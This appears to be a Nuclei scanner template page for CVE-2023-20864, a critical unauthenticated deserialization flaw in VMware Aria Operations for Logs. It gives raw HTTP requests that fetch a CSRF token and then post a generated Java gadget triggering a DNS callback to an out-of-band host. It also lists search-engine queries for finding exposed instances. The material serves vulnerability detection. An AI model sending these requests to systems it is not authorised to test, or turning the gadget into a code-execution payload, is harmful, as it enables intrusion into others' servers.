VMware Aria Operations for Logs - Unauthenticated Remote Code Execution

ID: CVE-2023-20864

Severity: critical

Author: rootxharsh,iamnoooob,pdresearch

Tags: cve2023,cve,vmware,aria,rce,oast

Description

VMware Aria Operations for Logs contains a deserialization vulnerability. An unauthenticated, malicious actor with network access to VMware Aria Operations for Logs may be able to execute arbitrary code as root.

YAML Source

id: CVE-2023-20864

info:
  name: VMware Aria Operations for Logs - Unauthenticated Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    VMware Aria Operations for Logs contains a deserialization vulnerability. An unauthenticated, malicious actor with network access to VMware Aria Operations for Logs may be able to execute arbitrary code as root.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2023-0007.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-20864
    - https://github.com/Threekiii/CVE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-20864
    cwe-id: CWE-502
    epss-score: 0.25579
    epss-percentile: 0.96694
    cpe: cpe:2.3:a:vmware:aria_operations_for_logs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vmware
    product: aria_operations_for_logs
    shodan-query:
      - title:"vRealize Log Insight"
      - http.title:"vrealize log insight"
    fofa-query: title="vrealize log insight"
    google-query: intitle:"vrealize log insight"
  tags: cve2023,cve,vmware,aria,rce,oast

http:
  - raw:
      - |
        GET /csrf HTTP/1.1
        Host: {{Hostname}}
        X-Csrf-Token: Fetch
      - |
        POST /api/v2/internal/cluster/applyMembership HTTP/1.1
        Host: {{Hostname}}
        X-CSRF-Token: {{xcsrftoken}}
        Content-type: application/octet-stream

        {{generate_java_gadget("dns", "http://{{interactsh-url}}", "raw")}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '"errorMessage":"Internal error'

    extractors:
      - type: kval
        name: xcsrftoken
        group: 1
        internal: true
        kval:
          - "X_CSRF_Token"
# digest: 490a0046304402205e94bfef81ef3de78feaa97c4c9bb3a1f53c4b75e4ccd86334a725d9baf3fd4c0220757a0ed65a51b62f6714268f269720841e509d7dd581d009ecd1fa619d17c37f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-20864.yaml"

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